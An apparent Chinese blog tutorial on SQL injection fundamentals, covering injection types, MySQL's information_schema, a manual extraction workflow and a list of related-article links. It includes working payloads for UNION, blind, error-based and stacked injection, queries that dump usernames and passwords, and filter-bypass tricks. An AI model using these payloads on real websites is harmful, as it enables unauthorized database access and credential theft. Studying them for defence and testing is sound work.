SQL注入之基础原理

一、SQL注入的产生

SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

二、SQL注入原理

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。基于此,SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。

三、SQL注入的类型

常见的SQL注入有以下几种:

  • 按变量类型分类
  • 数字型
  • 字符型
  • 按HTTP提交方式分类
  • GET型注入
  • POST型注入
  • Cookie注入
  • HTTP头部注入
  • 按注入方式分类
  • 报错注入
  • 盲注
  • UNION注入
  • 布尔型注入
  • 时间注入
  • 宽字节注入(主要针对GBK编码类型)
四、数据库

常见数据库类型:
MYSQL:

MySQL5.0之后和5.0之前版本有很大的区别,,MySQL5.0以上存在一个存储着数据库信息的信息数据库–INFORMATION_SCHEMA ,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。 而5.0以下没有。

information_schema

系统数据库,记录当前数据库的数据库,表,列,用户权限等信息

SCHEMATA

储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等

TABLES

储存mysql中的表信息,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等

COLUMNS

储存mysql中表的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等

MSSQL:

注入靠比大小。

Oracle:

Oracle的数据类型是强匹配的(MySQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。

PostgreSQL:

PostgreSQL是一款关系型数据库,广泛应用在Web编程当中,由于其语法与MySQL不尽相同,所以其SQL注入又自成一派。

Access:

没有库结构,只有表和列,只能通过字典爆破。

五、基于手工注入流程

要从select语句中获取有用的信息,必须确定该数据库中的字段数和那个字段能够输出,这是前提。

1. MySQL >= 5.0

获取字段数
order by n /通过不断尝试改变n的值来观察页面反应确定字段数/获取系统数据库名
在MySQL >5.0中,数据库名存放在information_schema数据库下schemata表schema_name字段中
select null,null,schema_name from information_schema.schemata获取当前数据库名
select null,null,...,database()获取数据库中的表
select null,null,...,group_concat(table_name) from information_schema.tables where table_schema=database()
或
select null,null,...,table_name from information_schema.tables where table_schema=database() limit 0,1获取表中的字段
这里假设已经获取到表名为user
select null,null,...,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'获取各个字段值
这里假设已经获取到表名为user,且字段为username和password
select null,group_concat(username,password) from users

2. MySQL < 5.0

MySQL < 5.0 没有信息数据库information_schema,所以只能手工枚举爆破(二分法思想)。
该方式通常用于盲注。
相关函数
length(str) :返回字符串str的长度
substr(str, pos, len) :将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len) :跟上面的一样,截取字符串
ascii(str) :返回字符串str的最左面字符的ASCII代码值
ord(str) :将字符或布尔类型转成ascll码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0基于布尔的盲注
and ascii(substr((select database()),1,1))>64 /判断数据库名的第一个字符的ascii值是否大于64/基于时间的盲注
id=1 union select if(SUBSTRING(user(),1,4)='root',sleep(4),1),null,null /提取用户名前四个字符做判断,正确就延迟4秒,错误返回1/
六、常用注入方式
注释符:
#
– (有空格)或–+
/**/内联注释:
/*!...*/union注入
id =-1 union select 1,2,3 /获取字段/Boolean注入
id=1' substr(database(),1,1)='t'--+ /判断数据名长度/报错注入
floor()和rand()
union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a /利用错误信息得到当前数据库名/extractvalue()
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))updatexml()
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))geometrycollection()
id=1 and geometrycollection((select * from(select * from(select user())a)b))multipoint()
id=1 and multipoint((select * from(select * from(select user())a)b))polygon()
id=1 and polygon((select * from(select * from(select user())a)b))multipolygon()
id=1 and multipolygon((select * from(select * from(select user())a)b))linestring()
id=1 and linestring((select * from(select * from(select user())a)b))multilinestring()
id=1 and multilinestring((select * from(select * from(select user())a)b))exp()
id=1 and exp(~(select * from(select user())a))时间注入
id = 1 and if(length(database())>1,sleep(5),1)堆叠查询注入
id = 1';select if(sub(user(),1,1)='r',sleep(3),1)%23二次注入
七、SQL注入绕过技术
大小写绕过
双写绕过
编码绕过(url全编码、十六进制)
内联注释绕过
关键字替换
逗号绕过
substr、mid()函数中可以利用from to来摆脱对逗号的利用;
limit中可以利用offset来摆脱对逗号的利用
比较符号( >、< )绕过(greatest、between and)
逻辑符号的替换(and=&& or=|| xor=| not=!)
空格绕过(用括号,+等绕过)
等价函数绕过
hex()、bin()=ascii()
concat_ws()=group_concat()
mid()、substr()=substring()
http参数污染
(id=1 union select+1,2,3+from+users+where+id=1–变为id=1 union select+1&id=2,3+from+users+where+id=1–)
缓冲区溢出绕过
(id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36–+
其中0xAAAAAAAAAAAAAAAAAAAAA这里A越多越好。。一般会存在临界值,其实这种方法还对后缀名的绕过也有用)

--------------------------------------------- END -------------------------------------------

SQL注入之基础原理相关推荐

  1. SQL注入攻击实现原理与攻击过程详解

    SQL注入攻击实现原理与攻击过程详解 结构化查询语言(SQL)是一种用来和数据库交互的文本语言,SQL Injection就是利用某些数据库的外部接口把用户数据插入到实际的数据库操作语言当中,从而达到 ...

  2. SQL注入-SQLMAP基础使用(十二)

    实验目的 了解SQLMAP的工作原理,熟悉SQLMAP的常用命令,掌握SQLMAP的-u参数的基本使用方法. 实验环境 攻击机:吹毁目标 (2)安装的应用软件:sqlmap .Burpsuite .F ...

  3. SQL注入攻击的原理、分类和防御方法

    一.SQL注入攻击原理 恶意用户在提交查询请求的过程中将SQL语句插入到请求内容中,同时程序本身对用户输入内容过分信任而未对恶意用户插入的SQL语句进行过滤,导致SQL语句直接被服务端执行. 二.SQ ...

  4. SQL注入漏洞(原理篇)

    SQL注入是我安全入门学的第一个漏洞,这个漏洞怎么说呢,前期的学习单单记住那几个payload知道如何查库.查表.查列.查字段就可以做题目了.没办法,初学者零基础就是这样,从记忆开始再到逐渐理解结束, ...

  5. SQL注入漏洞(原理;网页注入)

    SQL注入漏洞 一.SQL的注入 SQL注入攻击是黑客对数据库进行攻击的常用手段之一.随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于程序员的水平及经验也参差不齐,相 ...

  6. 渗透学习-SQL注入篇-基础知识的学习(持续更新中)

    提示:仅供进行学习使用,请勿做出非法的行为.如若由任何违法行为,将依据法律法规进行严惩!!! 文章目录 前言 一.SQL注入产生的原因 二.手工注入大致过程 1.判断注入点: 2.猜解列名 3.猜解能 ...

  7. SQL注入零基础实战

    注:如果是零基础,那么一定要从上到下一个点一个点的学习,不然肯定有很多阻碍,一上来就想开始最后面的实战是不可能滴. 还不够了解SQL注入的可以看看我另一篇博客: https://blog.csdn.n ...

  8. SQL注入 ----前置基础

    什么是SQL注入? 攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系统有特殊意义的符号或命令,让攻击者有机会直接对后台数据库系统下达指令,进而实现对后台数据库乃至整个应 ...

  9. SQL注入攻击(基础)

    书生这次准备了一份sql注入攻击的靶场演练教程 以封神台在线演练靶场为例(像游戏一样一关关过),就说第一章吧 题目如下: 要求是通过sql注入来获得管理员的密码 点击传送门,出现这样一个网页: 那么, ...

最新文章

  1. 20条常见的编码陷阱
  2. ST-3806系列单圈编码器 测试说明
  3. js 字符和html和数值拼接,js中substring和substr的用法(获取字符串为整个html页面中的某个数值)...
  4. kotlin将对象转换为map_在 Kotlin 的 data class 中使用 MapStruct
  5. 关于JSON.parse()方法的使用说明
  6. Linux基础(4)--用户与权限
  7. css网页设计作业_小姐姐用 HTML + CSS 画油画?谁能想到前端还有这么一手操作!...
  8. Responsive Web Design
  9. 【SOLIDWORKS学习笔记】工程图基础操作
  10. 网络云存储技术Windows server 2012 (项目十八 部署高可用链路的iSCSI(基于MPIO))
  11. 怪物的生成 攻击和掉落金币
  12. 使用Docker搭建ceph群集(nautilus版本)
  13. 百趣代谢组学分享:HSFB2b通过促进类黄酮生物合成赋予大豆耐盐能力
  14. 神舟笔记本(战神)摄像头或者相机不能使用的解决方法
  15. 关于APP inventor 2 模拟器AI伴侣版本不一致的问题解决
  16. Java开发专家阿里P6-P7面试题大全及答案汇总(持续更新)
  17. 一日一测(20170117~20170917)
  18. 微信 - 电脑(PC)版微信关闭自动下载文件
  19. Apriori 算法原理以及python实现详解
  20. 怎么把图片压缩到30k以内?如何图片压缩到指定大小?

热门文章

  1. 计算机四级嵌入式考试—操作系统卷(1)总结
  2. Linux好书、经典书籍推荐
  3. 机器学习常见算法思想的面试宝典
  4. SpringBoot——【thymeleaf】——为什么要使用thymeleaf
  5. Java获取unix时间戳
  6. 虚拟机安装centos6.5,提示Unsupported Hardware Detected检测到不支持的硬件
  7. 群星闪耀,OpenStack技术峰会后援团深度曝光
  8. 数据规模超大,分布密集,数据存储难
  9. 服务注册与发现(上)
  10. 阿里云内网和公共NTP服务器(网络时间协议-时间同步服务)